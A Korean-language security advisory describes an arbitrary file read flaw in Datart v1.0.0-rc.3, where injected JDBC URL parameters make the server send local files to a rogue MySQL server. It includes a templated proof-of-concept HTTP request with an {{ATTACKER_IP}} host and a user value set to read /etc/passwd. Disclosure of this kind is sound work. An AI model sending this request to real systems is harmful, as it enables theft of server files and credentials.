
Datart v1.0.0-rc.3 JDBC 연결 문자열 주입으로 인한 임의 파일 읽기
Datart v1.0.0-rc.3에서 임의 파일 읽기 취약점이 발견되었습니다. 애플리케이션이 데이터 소스 구성 중 JDBC 연결 URL을 제대로 검증하지 못합니다.
취약점 유형: 부적절한 입력 검증 (CWE-20) / 임의 파일 읽기 영향받는 버전: Datart v1.0.0-rc.3 심각도: 높음 (민감한 정보 공개 가능성)
이 취약점은 데이터 소스 구성 모듈에 존재합니다. 애플리케이션은 JDBC 구성에서 url 매개변수를 엄격하게 정화하지 않습니다. 데이터 소스를 구성할 권한이 있는 원격 공격자는 JDBC URL에 악의적인 매개변수(특히 allowLoadLocalInfile=true)를 주입할 수 있습니다.
JDBC 연결을 공격자가 제어하는 악성 MySQL 서버(Rogue MySQL Server)로 지정하면, 공격자는 클라이언트가 Datart 서버의 로컬 파일을 공격자의 서버로 보내도록 트리거할 수 있습니다.
성공적인 악용 시 인증된 공격자는 서버 파일 시스템에서 임의 파일(예: /etc/passwd, 구성 파일, 소스 코드)을 읽을 수 있으며, 이는 서버 손상 또는 추가 공격으로 이어질 수 있습니다.
LOAD DATA LOCAL INFILE 기능을 악용할 수 있는 악성 MySQL 서버(예: 와 같은 도구 사용)를 설정합니다.rogue_mysql_serverPOST /api/v1/data-provider/test HTTP/1.1
Host: {{TARGET_HOST}}
Content-Type: application/json
Authorization: Bearer {{VALID_JWT_TOKEN}}
Accept: application/json
{
"name": "cve-poc-test",
"type": "JDBC",
"properties": {
"dbType": "MYSQL",
"url": "jdbc:mysql://{{ATTACKER_IP}}:{{ATTACKER_PORT}}/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360",
"user": "fileread_/etc/passwd",
"password": "any_password",
"driverClass": "com.mysql.cj.jdbc.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}